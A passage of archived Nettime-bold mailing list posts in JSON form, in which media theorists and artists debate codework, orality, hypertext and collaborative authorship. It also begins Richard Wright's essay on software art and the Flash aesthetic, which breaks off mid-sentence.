                        "content": "Hey Ken -\n1) Artaud - relatively decent Artaud sites:\nhttp://www.hydra.umn.edu/artaud/ab.html\n\nhttp://www.antoninartaud.org/home.html\n\nand the Artaud reference can be found in the \"Theater and It's \nDouble\" at the beginning of the section entitled \"The Theater and its \nShadow\"\n\naround p.49 in the edition I have \"la realite virtuelle\" - 1938.... \nin the section called the \"theater and it's shadow\" or something like \nthat... the original context was that humans were inundated with life \nas symbolic reality... both me and Erik Davis deal with this in our \nrespective writings on the topic.\n\n2) There's plenty of room for figuring out how Walter Ong's ideas of \norality and text flow together, his book \"Orality and Literacy: the \nTechnologizing of the Word\"  remains a pretty good glimpse into how \nwords became in a word \"the noetic navigation of places\" - but words \nassign place and meaning on-line, but in the world of stuff like Amos \nTutualoa or John Lee (the black hacker on the cover of Wired a long \ntime ago who was into the whole language as cipher-text etc etc his \ncrew was called \"The Masters of Deception\"), it'd be nifty to figure \nout on how mantras etc etc fit into this too....\n\n3) your idea that \"everything Alan does is a proposition on how to \nread...\" - well, yep, but again, it's the permutations of the process \nthat make reading him interesting. Otherwise, no disrespect to Alan, \nit'd be like listening to the same beat over and over and over... \neven the linguistic origins of jazz (from the French verb \"jazzer\" - \nwhich means to \"have a dialog\") - still pertains to what you spoke \nabout.Some of this relates basically as the \"lowest common \ndenominator\" kind of scenario to the \"sequencing/spatializing\" of the \nword that Ong deals with, but again, there's plenty of stuff like \nthat in electronic music at this point... There's a couple of great \ntreatments of that topic in Robert Farris Thompson's classic \"Flash \nof the Spirit\"...\n\n4) yep, I agree about mixing styles and genres... in academia, there \nare rules and regulations about this kind of thing, but I have a \nfeeling the next generation of folks will all look at this kind of \nthing as a video game or hypertext of a kind of collaborative \nfiltering or something... speaking of rules, I see that Mark Dery is \nnow an assistant (junior) professor of Journalism at NYU... ha! ha! - \ngod help the children who study under him.... But uh... anyway... if \nyou still have that article around (the one on language and whatnot \nwith henry louis gates etc etc) we're still working on getting 21C \nstarted up - I've been travelling alot, and that's slowed things \ndown..... Let me know if you'd be into re-publishing it or something. \nI'm going to set up the web version of the magazine first and deal \nwith the print in a little bit (www.21cmagazine.com is up and \nrunning, but again, there's only 24 hours in the day... I have a \ndecent amount of articles from various folks, but I need about two \nweeks of down-time - which I'm taking in mid-October - to finalize \neverything... more on that in a bit)\nokay,\npeace from Florida\nPaul\n\n\n\n>Thanks to Paul for\n>his remarks, but i\n>think, as they say,\n>that\n>i want to break it\n>down...\n>\n>  >the problem with\n>the digital media\n>scene - it is\n>SUPER\n>  > WHITEBREAD -\n>there is alot more\n>going on....\n>Yes, but when it\n>comes to entities\n>like antiorp or\n>jodi, is it\n>all that useful to\n>pose things in\n>this old\n>identity-bound\n>language?\n>\n>  >think about\n>precedents for\n>theater and\n>spectacle outside\n>of the >normal\n>discourse that\n>goes on...\n>Yes, but i don't\n>quite have the\n>freedom of\n>movement that\n>you\n>do, Paul. As an\n>artist, you can cut\n>and mix in a way\n>that one can't\n>in scholarship. Its\n>not the medium,\n>its the genre.\n>\n>  >this is a Mcluhan\n>refraction of the\n>old inner\n>  > ear/eye thing,\n>but with a little bit\n>more of a\n>technical twist.\n>Always been\n>skeptical about\n>that aspect of\n>McLuhan, but I\n>think Ong is\n>useful here. He\n>talks of\n>'secondary orality',\n>which\n>is the orality that\n>arises within a\n>literate culture,\n>but i think\n>there is also now\n>a 'secondary\n>literacy', the\n>literacy that arises\n>within an\n>electro-oral\n>world....\n>\n>  > Artaud  was the\n>fellow who\n>invented the term\n>\"virtual reality\"\n>Oh really?\n>Where? [scholar\n>mode] \"We must\n>awaken the Gods\n>that sleep in\n>museums.\" Yes,\n>Artaud is a good\n>handle for\n>understanding\n>the global media\n>event. My first\n>book already\n>covers all this.\n>\n>  > this in itself is\n>one of the major\n>developments of\n>20th\n>  > century culture:\n>the ability not just\n>to accept the\n>linguistic\n>  > regulations of a\n>situation (again,\n>Debord meets\n>Grand Master\n>  > Flash...) - but to\n>constantly change\n>them. This is one\n>of the major\n>  > issues that\n>Henry Louis\n>Gates wrote\n>about in his\n>\"Signifying\n>  > Monkey\"  essay\n>a long while ago\n>Yes, i once wrote\n>an essay on\n>Gates' signifying\n>monkey and\n>Skooly D, who\n>has a great rap\n>about the\n>monkey, the\n>faggot\n>and the fat-assed\n>pimp. Needless\n>to say i couldn't\n>get it\n>published...\n>\n>  > Alan Sondheim\n>is\n>  > perhaps the\n>equivalent  of an\n>MC for Nettime\n>Alan posts to a lot\n>of lists and does\n>a lot of other stuff\n>besides,\n>so i don't think he\n>would want\n>anyone to see his\n>stuff here as\n>representative.\n>But i think that's a\n>nice take on it.\n>Sondheim as\n>an MC of sense,\n>of affect, cutting\n>and mixing the\n>letter to that\n>effect. Everything\n>Alan does is a\n>proposition about\n>how to\n>read.\n>\n>  >but again, the\n>field\n>  > could and\n>should be\n>expanded at this\n>point.\n>Its your job to\n>think like that,\n>Paul, some of us\n>have to work in\n>a different kind of\n>time. Its not about\n>slow or fast, but\n>about\n>rhythms (all\n>rhythms are the\n>same speed as\n>they all get you\n>there in the end).\n>Its about being\n>untimely. Mixing\n>past and\n>present is\n>another kind of\n>mix. Blake and\n>Integer. What is in\n>that edit? I don't\n>see it as\n>invalidated by the\n>other edits it\n>passes over in\n>silence.\n>\n>  > 1) multi-cultural\n>variations in\n>language\n>You're an\n>American, Paul, to\n>whom\n>'multicultural'\n>means\n>multi-racial.\n>That's fine, but it\n>is not the\n>definition of\n>multiplicity with\n>which the rest of\n>the world\n>necessarily\n>works. I'm not so\n>keen on the\n>compression of\n>difference\n>down to this\n>narrow plane so\n>as to squeeze it\n>into\n>American\n>bandwidth. The\n>celebration of\n>multiplicity\n>going on right\n>now is a\n>frightening\n>reminder of just\n>how\n>narrow\n>conceptions of\n>difference are in\n>the United States.\n>\n>  > multi cultural\n>takes on this are\n>alot more fun...\n>Well they would\n>be, but American\n>multiculturalism\n>isn't\n>much of a\n>multiplicity. I find\n>it tone-deaf to\n>'patois' that isn't\n>minted locally.\n>And look at the\n>basis on which\n>other kinds\n>of multiplicity are\n>annexed to its\n>needs: the\n>appropriation\n>of\n>postcolonialism,\n>the Black Atlantic\n>and so on. All well\n>and good, but in\n>the long run just\n>variations on the\n>self\n>image of America\n>in the world.\n>\n>So: there's a\n>problem with the\n>multicultural\n>scene, its\n>SUPER-AMERICA\n>N. But, again, its\n>not a criticism of\n>you,\n>Paul, but just\n>indiciative of the\n>difficulty of\n>working in this\n>place and time.\n>Its hard to see the\n>context, and how\n>the\n>context shapes\n>the discourse.\n>\n>Thanks for the\n>urls, which i'm\n>looking at and\n>learning from.\n>\n>cheers\n>\n>ken\n\n\n\n============================================================================\n\nPort:status>OPEN\nwildstyle access: www.djspooky.com\n\nPaul D. Miller a.k.a. Dj Spooky that Subliminal Kid\n\nSubliminal Kid Inc.\n\nOffice Mailing Address:\n\nMusic and Art Management\n245 w14th st #2RC NY NY\n10011\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00770",
                        "date": "Mon, 24 Sep 2001 12:45:51 -0400",
                        "to": "\"nettime-l@bbs.thing.net\" <nettime-l@bbs.thing.net>",
                        "message-id": "v0422082ab7d5080b24e4@[209.246.104.235]",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0109/msg00770.html",
                        "content-type": "text/plai",
                        "author_name": "Paul D. Miller",
                        "subject": "[Nettime-bold] from hypertext to codework"
                    }
                ],
                "message-id": "v04220810b7d2bde6a674@[209.246.104.235]",
                "date": "Sat, 22 Sep 2001 19:10:42 -0400",
                "content-type": "text/plai"
            },
            {
                "id": "00609",
                "content": "ken,\n\nthis thread was still hanging around ... i want to take issue with your\nclaim that the codework you reference is an example of collaborative,\nnon-identity oriented practice.\n\n>Codework makes of\n>writing a media art that breaks with the fetishism of the text and the\n>abstraction of language. It brings writing into contact with the other\n>branches of media art, such as music and cinema, all of which are\n>converging in the emerging space of multimedia, and which often have a\n>richer conception of the politics of media art as a collaborative practice\n>than has been the case with writing conceived within the prison-house of\n>\"text.\"\n\ni fully respect your examples as artistic/literary practices, but in what\nway are jodi, mez, antiorp/nn, sondheim etc. representatives of open\nprocesses? jodi's work is good _because_  jo&di have the code under\ncontrol, just as mez is an _author_, machine-aided, style-enhanced, yes,\nbut an author. just as antiorp/nn - the most collaborative entity in the\nseries, i guess - poses as one; we all know they are several, but they\nexhibit a clear sense of ideological tightness and closure. the identities\nmay be fictional, but i don't see that any of these breaks out of the\nidentity shell. nn might be the best gamer, but its insults are too much\nfor my stomach. [she'll call me a weak imbecile for this remark, won't you,\ndear?]\n\nwhat you describe are machinic processes, yes, but the kinds of\ncollaborative practices that heico idensen talks about (in the hypertext\nworld mainly) - i don't see them in your codework examples. is artistic\ncodework more authorial than open source programming?\n\ngreetings,\n-a\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "to": "McKenzie Wark <mw35@nyu.edu>",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0110/msg00609.html",
                "list": "nettime_bold",
                "author_name": "Andreas Broeckmann",
                "subject": "[Nettime-bold] Re: <nettime> from hypertext to codework",
                "from": "Andreas Broeckmann <abroeck@transmediale.de>",
                "follow-up": [
                    {
                        "from": "Alan Sondheim <sondheim@panix.com>",
                        "content": "\nThere is collaboration in a number of ways. None of us (examples you give)\noperate or produce in a vacuum; my work often requires assistance or col-\nlaboration, to the extent that \"my\" becomes suspect. The identities I work\nwith - \"Nikuko\" and others - are also disseminations across other\npractices (IRC, newsgroups, email lists, etc.) and others have also taken/\nused the name. There were also projects created for the trAce online\nwriting group which were all collaborations in the traditional sense; one\nof them, Lost, is still running.\n\nThen there is also a question of nettime; what I place on nettime (and\nthis may be true of others you mention) is what nettime accepts; the\ncollaborative dance/bodywork has no place or room here; this is also true\nfor most of the directory material on the cdroms. An email is almost\nalways signed, leaving its trace; it is a trail which almost literally\nhystericizes its identity function in the full header. And again, this\naffects, if not effects, what any of us are capable of doing in this\nmedium.\n\nAlan -\n\nInternet text at http://www.anu.edu.au/english/internet_txt\nPartial at http://lists.village.virginia.edu/~spoons/internet_txt.html\nTrace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00628",
                        "date": "Wed, 24 Oct 2001 17:49:03 -0400 (EDT)",
                        "to": "Andreas Broeckmann <abroeck@transmediale.de>",
                        "message-id": "Pine.NEB.4.40.0110241743510.20241&#45;100000@panix2.panix.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0110/msg00628.html",
                        "content-type": "text/plai",
                        "author_name": "Alan Sondheim",
                        "subject": "[Nettime-bold] Re: <nettime> from hypertext to codework"
                    },
                    {
                        "from": "\"McKenzie Wark\" <mckenziewark@hotmail.com>",
                        "content": "Andreas writes,\n\n>i fully respect your examples as artistic/literary practices, but in what \n>way are jodi, mez, antiorp/nn, sondheim etc. >representatives of open \n>processes?... what you describe are machinic processes, yes, but the kinds \n>of collaborative practices that heico >idensen talks about (in the \n>hypertext world mainly) - i don't see them in your codework examples. is \n>artistic codework more authorial than open source programming?\n\n\nWell, isn't this a collaborative process, this discussion? Isn't\nnettime \"collaborative filtering?\" There's some limitations in what\nthe examples given might uphold. Its not as if everything is in\nthe text. I'm more interested in a new way of thinking about the\npractice of writing.\n\nSemiotics and structural linguistics have a lot to answer for. They\ncreated a concept of language as a homogemous plane, which then\nentered into relations with the world as something external.\n\nWhat's interesting about Guattari is the anti-linguistics in which\none thinks of the speech act as an element in a heterogeneous,\ntemporal series. It seems to me timely to think of some of the new\nwriting practices in those terms.\n\nHypertext had its roots firmly in a (post)structural linguistics,\nand it shows in the early works composed under its sign. All the\naction is in the 'text'. There's not a lot of thought about\nthe hetereogeneous assemblages into which it might enter.\n\nk\n\n___________________________________________________\n\nhttp://www.feelergauge.net/projects/hackermanifesto/version_2.0/\n                   ... we no longer have roots, we have aerials ...\n___________________________________________________\n\n\n_________________________________________________________________\nGet your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00867",
                        "date": "Wed, 31 Oct 2001 11:21:28 -0500",
                        "to": "abroeck@transmediale.de, nettime-l@bbs.thing.net",
                        "message-id": "F47mwO9suAkWORuXB3Q000032fa@hotmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0110/msg00867.html",
                        "content-type": "text/plai",
                        "author_name": "McKenzie Wark",
                        "subject": "[Nettime-bold] Re: <nettime> from hypertext to codework"
                    },
                    {
                        "from": "christopherotto <cotto1@gl.umbc.edu>",
                        "content": "I would present as an example of this is the extension of my piece\ntimeascolor by Brad Borevitz earlier this year.\n\nhttp://userpages.umbc.edu/~cotto1/timeascolor.html\nhttp://www.onetwothree.net/art/somethingelse/\n\nwhat i see as interesting in (client-side) net.art is that the text\nand visuals of the artist are sent simultaneously and are inseperable from\nthe perspective of the viewer, possibly in the same way sasseure\nvisualized signified/signifier/sign as a card with two sides. very\ndifferent than seeing a painting and then reading the artist's sketchbook?\n\nI have a short paper that extends this idea - email me personally if you\nwould like to read it.\n\nchristopher otto\n\n\nOn Wed, 31 Oct 2001, McKenzie Wark wrote:\n\n>\n> Andreas writes,\n>\n> >i fully respect your examples as artistic/literary practices, but in what\n> >way are jodi, mez, antiorp/nn, sondheim etc. >representatives of open\n> >processes?... what you describe are machinic processes, yes, but the kinds\n> >of collaborative practices that heico >idensen talks about (in the\n> >hypertext world mainly) - i don't see them in your codework examples. is\n> >artistic codework more authorial than open source programming?\n>\n>\n> Well, isn't this a collaborative process, this discussion? Isn't\n> nettime \"collaborative filtering?\" There's some limitations in what\n> the examples given might uphold. Its not as if everything is in\n> the text. I'm more interested in a new way of thinking about the\n> practice of writing.\n>\n> Semiotics and structural linguistics have a lot to answer for. They\n> created a concept of language as a homogemous plane, which then\n> entered into relations with the world as something external.\n>\n> What's interesting about Guattari is the anti-linguistics in which\n> one thinks of the speech act as an element in a heterogeneous,\n> temporal series. It seems to me timely to think of some of the new\n> writing practices in those terms.\n>\n> Hypertext had its roots firmly in a (post)structural linguistics,\n> and it shows in the early works composed under its sign. All the\n> action is in the 'text'. There's not a lot of thought about\n> the hetereogeneous assemblages into which it might enter.\n>\n> k\n>\n> ___________________________________________________\n>\n> http://www.feelergauge.net/projects/hackermanifesto/version_2.0/\n>                    ... we no longer have roots, we have aerials ...\n> ___________________________________________________\n>\n>\n> _________________________________________________________________\n> Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp\n>\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime> is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: majordomo@bbs.thing.net and \"info nettime-l\" in the msg body\n> #  archive: http://www.nettime.org contact: nettime@bbs.thing.net\n>\n\n\n\"christ\"! (O), pher \"ot to\". . .\n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                        "id": "00890",
                        "date": "Wed, 31 Oct 2001 23:11:50 -0500",
                        "to": "McKenzie Wark <mckenziewark@hotmail.com>",
                        "message-id": "Pine.SGI.4.31L.02.0110312256080.5874265&#45;100000@irix1.gl.umbc.edu",
                        "url": "https://nettime.org/Lists-Archives/nettime-bold-0110/msg00890.html",
                        "content-type": "text/plai",
                        "author_name": "christopherotto",
                        "subject": "[Nettime-bold] Re: <nettime> from hypertext to codework"
                    }
                ],
                "message-id": "l031028b6b7fc17936674@[195.35.27.166]",
                "date": "Wed, 24 Oct 2001 09:13:15 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "\"Richard\" <richard {AT} dig-lgu.demon.co.uk>",
                "id": "00036",
                "content": "\nAre people still interested in ART on this list?\nPerhaps they are...\n\n\nSoftware Art After Programming\n\nRichard Wright, April 2004.\n\nFirst published in MUTE magazine, no. 28, Autumn 2004\nhttp://www.metamute.com/look/article.tpl?IdLanguage=3D1&IdPublication=3D1=\n&NrIssue=3D28&NrSection=3D10&NrArticle=3D1397\n\n\nThe history of computing in arts practice is littered with the mental =\ndebris of its half-forgotten debates, unresolved problems and anxieties, =\nand questions that have now become as obsolete as the Commodore 64s and =\nVAX mainframes that accompanied them. Who can remember the art and =\ntechnology projects of the sixties when the question of 'Can the =\ncomputer make art?' allowed a generation of isolated computer artists to =\nposition themselves as a team of intrepid explorers setting out to cross =\na new continent without first waiting to find out whether it could =\nsupport life. Under what conditions was the question ever first =\nconsidered worthy of posing in the first place? Did the computer offer =\ninput into specific art issues, such as arts relation to other forms of =\nscientific knowledge, to language, representation or the abandonment of =\nthe object? Or was it just intuitively realised that 'computer art' was =\nat the forefront of a slow, inexorable computerisation of twentieth =\ncentury society which would eventually demand access to every facet of =\nhuman culture?\n\nAs computer hardware and the programming skills needed to operate it =\nbecame more accessible, the question 'Can the computer make art?' was =\nasked less and less often. By the beginning of the '80s artists were =\nusing the first personal computers to produce more varied kinds of work =\nuntil, with all this activity growing, the question of whether art was =\npossible on a computer lost all sense. There was a moment when the =\nparameters of the question were redrawn, from 'Can the computer make =\nart?' to 'Can a computer be an artist?', redirecting it into issues of =\nsimulated creativity and artificial intelligence. It was at this point =\nthat the first cracks of a coming schism in the community of computer =\nartists became noticeable; this would go on to form the next stage in =\nthe debate. It seemed to a growing number of artists that as the =\ncomplexity of software increased, so many new possibilities for the =\nhuman artist were appearing that the prospect of deferring to a machine =\nartist seemed almost indicative of a lack of imagination.\n\nAlthough the computer seemed to have made its case as a machine of =\ncreative potential, there now emerged the question of how to efficiently =\nleverage all this creativity. By the late eighties, the interactive =\ninterfaces and simplified menu commands of personal desktop systems that =\nhad helped to cause this ground swell of activity had firmly refocused =\nquestions on the artists themselves. Were the pre-packaged functions, =\noptions and parameters of the new art applications sufficient to cover =\nall artistic fields of inquiry, all aesthetic nuances, all personal =\nidioms? Or would it always be necessary to have recourse to the =\nprecision and particularities of programming languages in order to =\nensure that no desire was left uncatered for? 'Do artists need to =\nprogram?' became the burning question at SIGGRAPH panel sessions and =\nelectronic art festivals.\n\nTo some extent this divergence between programmers and program users =\nmasked the fact that they had become two sides of the same coin. As the =\nargument went, the artist-programmer would regard '.software not as a =\nfunctional tool on which the \"real\" artwork is based, but software as =\nthe material of artistic creation', as the Transmediale Software Art =\njury statement would phrase it much later in 2002. On the other hand, =\nfor program users, programming was only ever a means to an end. Yet it =\nwas their fixation on this end that hastened their acquiescence to the =\nmeans of their programs and the reconfiguration of their practice by =\nprogrammers. 'Is the computer a medium or a tool?' Yes, it was true that =\nsome artists were only interested in software 'tools' that were totally =\nsubservient to their subjectivity, but it was a subjectivity that was =\nnow mapped onto minutely variable parameter lists and option check =\nboxes, mirroring the remoteness of the artist's precious and peculiar =\nvisions by burying its origins deep within the recesses of multiple menu =\nlayers. Aided by the runaway success of packages like Amiga's Deluxe =\nPaint, Adobe Illustrator and Photoshop, software manufacturers were =\nredefining the creative process as a decision making process converging =\ntowards a predetermined ideal goal.=20\n\nThe problem was also attacked from the opposite direction by a top-down =\nsystem design employing pre-sets, wizards, helpers, macros and plug-ins =\nthat pre-empted the creative process by offering a one button solution =\nto achieve those essential lens flares, ripples, rollovers and drop =\nshadow effects. The users of programs now found themselves programmed by =\ntheir very own favourite artistic effects, expressed as a suite of easy =\nto use software extensions. In the end, both artist programmers and =\nartist program users produced artwork that was about the software that =\nhad produced it. Both became caught up in a wider move to rewrite =\nsociety in terms of information processing.\n\nBy the early '80s the artist Harold Cohen had developed software to =\nautomate his own personal artistic style. A former successful gallery =\npainter, Cohen still works on a suite of artificial intelligence =\nprograms called AARON that seek to encode his earlier painting practice. =\nCohen had always insisted that the content of his work was the software =\nitself, and always exhibited the entire process in the form of a live =\ncomputer connected up to a mobile painting device or 'turtle' that would =\nscuttle over his canvases. As he told his students, 'Don't ask what you =\ncan do with the software, ask what the software can do.' But Cohen's =\nwork now seems to function more as evidence of a historical transition =\nthat occurred over his working life and reached its culmination during =\nthe '90s. While we have been watching Cohen's computer prove it can =\nrecreate art, other computers have been recreating our whole society in =\ntheir own image. But this new image is not the image of the expressive =\nsubject that is simulated in Cohen's work. It is the image of the =\nsubject as a node, a switching station for providing feedback to =\ncalibrate the central processing system, the individual's expressive =\nutterances only called upon to ensure their movements are correctly =\nsynchronised. The artist programmer of today exists in relation to a =\nwhole culture that has the computer as its central organising =\ntechnology. The pervasive quality of software culture and the resultant =\nnormalisation of computer use have made it impossible to maintain the =\nconceptual categories that underpinned previous debates. In a world =\nwhere artists use software to write software that will be seen by virtue =\nof other software, questions about the 'aesthetics of the code' become a =\nsymptom of not being able to see the wood for the trees. Programming is =\nnot only the material of artistic creation, it is the context of =\nartistic creation. Programming has become software.\n\nOne interesting example of the end game of the debate on 'Computer Art' =\nis a piece of artist's software called Auto-Illustrator. Written by =\nAdrian Ward around the year 2000, Auto-Illustrator was the prize winner =\nof the first competition for Software Art organised by Berlin's =\nTransmediale media art festival in 2001. Ward describes the work as a =\nparody of commercial art and design packages like Adobe Illustrator, =\nspecifically of their pretensions to provide functionality and user =\ncontrol. In contrast, Ward fills his package with 'generative art' tools =\nthat explicitly try to automate the drawing process. The appearance of =\nAuto-Illustrator when running is much like a typical menu driven art and =\ndesign package with the exception that the tool palette and effects =\nfilters incorporate generative algorithms. For instance, the Pencil tool =\nadds wiggles or sweeps to your strokes, while the Oval tool will use =\nsettings like 'childish' or 'adult' to control a sprinkling of little =\nfaces. Some tools like Brush seem entirely random in operation, while =\nsome filters like 'Instant Mute Design' will reproduce an entire =\niconography designed to appeal to the Digerati generation.=20\n\nIn fact, many of these generative techniques are strikingly reminiscent =\nof various experiments in computer art from over the last thirty years. =\nThe line tools generate scribbles using algorithms almost certainly =\nrelated to the stochastic perturbations of Frieder Nake or Peter Beyls =\nwhile the 'bug' tool roves around the screen using the same principles =\nas Harold Cohen's turtle graphics engine. Even the icons of the 'Instant =\nMute Design' effect are almost identical to Edward Zajec's permutations =\nof cubic modules. In this way, Auto-Illustrator is like a compendium of =\nclassic computer art programs but now presented as a list of menu =\noptions with conveniently editable parameters. Presented in this =\ncontext, the individual aesthetics of each of these venerable pioneering =\npractices are erased, leaving us with more of a confusion of =\nidiosyncratic styles. From this viewpoint, Auto-Illustrator's =\n'generative tools' actually pastiche the chaotic 'feature mountain' of =\nbloated modern software systems, as they are commonly disorganised by =\nthe superabundance of toolbars, drop-down lists and floating inspectors. =\nInstead of defining a drawing function, it might have been more relevant =\nfor Ward to have his 'bug' tunnelling into the dizzying depths of =\ncascading sub-menus and option boxes to find that single cherished =\nfunction with which the user nurtures their unique individual style. =\nWard actually states that wider issues such as interface design are of =\nno interest to him and describes 'consumer-based application software' =\nas his chosen medium. Auto-Illustrator is successful in its intention to =\nparody the functionality-as-expression of mainstream software design, =\nbut only at the level of coding. By not addressing the wider user =\nexperience it is unable to think outside of the window box in which this =\nfunctionality is now defined.\n\nSince Auto-Illustrator's release there has been at least one attempt to =\naccount for a contemporary digital aesthetic with reference to the =\ndesign of a family of software packages and related technologies. In =\n2002 the theorist Lev Manovich published 'Generation Flash', an essay in =\nwhich he tried to characterise a then prevalent cultural sensibility. =\nManovich referred to the prevailing visual style of Flash, Shockwave and =\nJava based multimedia as 'soft modernism', a reaction against the =\nclutter of postmodern eclecticism that returns to an elemental =\n'rationality of software'. Aesthetic motifs are defined by Manovich in =\nterms of technologically motivated processes: instead of appropriation =\nwe simply have the sample, a basic operation in the new mode of cultural =\nproduction. Another cultural building block is the network, and =\ntherefore also one of the terms of a new critical language. These =\noperations (networking, sampling) are applied in new modes of expression =\nlike data visualisation. This can be seen, for instance, in =\nFuturefarmer's They Rule project in which the directors of the USA's top =\ncorporations are cross referenced to purportedly reveal a web-like =\npattern of interrelated allegiances. For Manovich this kind of work =\nreplaces older forms of authored representation by giving us the tools =\nto objectively analyse raw data and deduce the necessary conclusions.\n\nAlthough Manovich's detailed analysis of the structural basis of new =\nmedia adds an absolutely essential dimension to new critical tools, the =\napproach risks being interpreted as a form of technological determinism =\nonce we lose sight of a specifically cultural perspective. For example, =\nour understanding of the workings of the corporate world order do not =\narise automatically out of its most common data visualisations, such as =\nthe stock market fluctuations diagrammatically portrayed on the =\nFinancial Times website. Not all visualisations are equal. At one point =\nManovich argues that the 'neo-minimalism' of the Flash style arises =\nquite naturally from the practice of programming - the pixel thin grid =\nlines, restricted colour palettes, abstracted symbols 'ALWAYS happens =\nwhen people begin to generate graphics through programming and discover =\nthat they can use simple equations, etc' (Manovich's emphasis). This is =\nindeed the case where programming is taught within a certain computer =\nscience tradition, but it is now impossible to discount the influence of =\nscripting environments such as Flash. Not all programming practices are =\nequal.\n\nOther discussions of Flash have merely tended to shift the technological =\nfocus, such as whether the limited bandwidth of the web was the most =\nsignificant reason for the linear aesthetic of vector graphics. At other =\ntimes it moved on to question the 'openness' of the Flash graphics =\nstandard, whether Macromedia would ultimately allow programmers to =\nleverage the full potential of its functionality. However, the =\n'functionality', 'rationality' or 'potential' of software will always be =\nstrictly unknown. It is the 'user experience' of software, the values =\ngenerated by the way it is meant to be used, how it gives shape to a =\npractice, how easily a technical 'potential' can be perceived and =\nengaged with that should form the basis of software critique. It is =\npossible to trace many formative influences on the Flash style not to =\nthe code itself, but to the conditions in which it is written. =\nProgramming is now often practised in the form of 'scripting' languages =\nthat are integrated into mainstream art and design software =\napplications. This makes artist programmers and program users both =\nsubject to the same philosophies of system design that hold sway in =\npoint-and-click style desktop packages. By examining these environments =\nwe can find many ways in which they funnelled Flash Actionscript or =\nDirector Lingo programming practice into nourishing certain wider =\ncultural sensibilities during this period.\n\nMultimedia scripting languages like Flash Actionscript tend to differ =\nfrom conventional programming languages by offering access to a library =\nof functions that are specific to that particular multimedia =\napplication. This easy access to a set of predefined 'events' such as =\nmouse clicks, drag actions and rollovers is somewhat analogous to the =\nway a software user's practice is structured in terms of the predefined =\nconfiguration of menu commands, option boxes and plug-in effects. These =\nlibrary functions that populate the programmers imagination with a =\nreadymade vocabulary of discrete interactive 'behaviours' can be coded =\nup and attached to individual multimedia objects - button triggers, =\nsprite actions, sound effects, linkages, etc. Actionscript therefore =\ntended to differ from typical program development environments by =\nidentifying code with graphical and other concrete entities that would =\nbecome principle actors in the interactive scenario. This also tended to =\ndiscourage the writing of long passages of control logic and instead led =\nto the writing of terse mathematical expressions to manipulate an =\nobject's properties, movements and relationships to other objects. When =\ncombined with the instancing abilities of the Object Orientated =\nProgramming philosophy, Actionscript became very efficient at applying =\nthese code segments to multiple copies of 'semi-automated' graphic =\nelements, sprites, movie clips and sounds. As implemented in multimedia =\nauthoring software like Flash, Object Orientated Programming actually =\nfostered an 'object orientated' approach to interactive art and =\nanimation.\n\nThe point here is to look at Flash at the moment at which its patterns =\nof techniques and processes re-emerge as motifs that can enter =\nconsciousness and practice on an aesthetic level. To start with we have =\nan authoring system that orientated the user towards the replication (or =\n'birthing') of multitudes of objects and orchestrating complex yet =\nconcise interactions between them. It is even possible to identify the =\nmost common form of mathematical expression that was used to regulate =\nthis interaction during the millennial Flash period. There is a single =\nline of code that appears over and over again, a simplified expression =\nthat produces a distinctive dampening effect on a moving object before =\nit finally comes to rest. It was easy for Flash users to apply this =\nexpression to any or all of ones objects and events until it produced =\nthe classic Flash 'wobble'. A Flash site became a constellation of =\nrippling, bobbing, trembling buttons, icons, eyeballs, legs and rollover =\nitems as if someone had poured a bucket of water into your computer =\nmonitor. In the open source spirit, the Flash community ensured that =\nsuch expressions were quickly disseminated until they became an almost =\nuniversal kinetic attribute.\n\nThe Flash style was integrated, via its web browser plug-in, to other =\ndesktop based work and leisure patterns of activity. By keying into the =\ninternet gold rush fever, Flash art was turned into a highly visible =\ndesign component of the dotcom boom era. This new informal space imbued =\nFlash art with the role of a distraction, a demo or toy, making any more =\ndemanding appreciation of its fluid stylistic and tactile qualities =\nunnecessary. The net culture of the time also provided a preexisting =\ndiscourse in which it's visual aesthetic could be interpreted and =\nflourish. Echoing the ubiquitous net-cultural meme of the 'digital Gaia' =\n- an ecological interpretation of the web of globally interconnected and =\nindependent agents - foremost Flash designer Joshua Davis commented: =\n'.our work should reflect the nature of a fern and be comprised of tiny =\nlittle objects that all talk to each other. The more we add these little =\nobjects, the more complex and intense the nature of our work becomes.'=20\n\nThere are many more factors that could be marshalled to 'explain' the =\nFlash style. But as far as practising artists are concerned, how can we =\nget a handle on such a deluge of widely different factors, some of which =\nseek to align us with a particular model of subjectivity and others =\nwhich just seem like arbitrary collections of protocols? How can we =\nforge a path through layer after layer of designed information to form =\nways of working not pre-empted by the predicates of current software =\nculture?\n\nThere are some emerging ideas that might help. One of these is the =\n'techno-aesthetic' - different motifs that permeate these technological, =\nsocial and cultural levels. The idea is rooted in materialist notions of =\nsocial process, but a society now constituted through IT. The emphasis =\nis on how specifically cultural forces can form technology into a means =\nof expression that is able to exceed its most obvious properties and =\nstructures. One software art example of this in action is Mongrel's =\noften-cited Linker project of 1999. Developed to support a series of =\nstory telling workshops for the non-expert computer user, the software =\nis a highly stripped down system that simply allows users to load and =\nmake connections between a collection of digital elements - images, =\ntext, video, sounds. For a start, this transfers an emphasis on the =\npractice of the software to the practice of the user. Compared to the =\nother examples, Linker coheres around a figure that unites its levels of =\nthought and construction yet retains 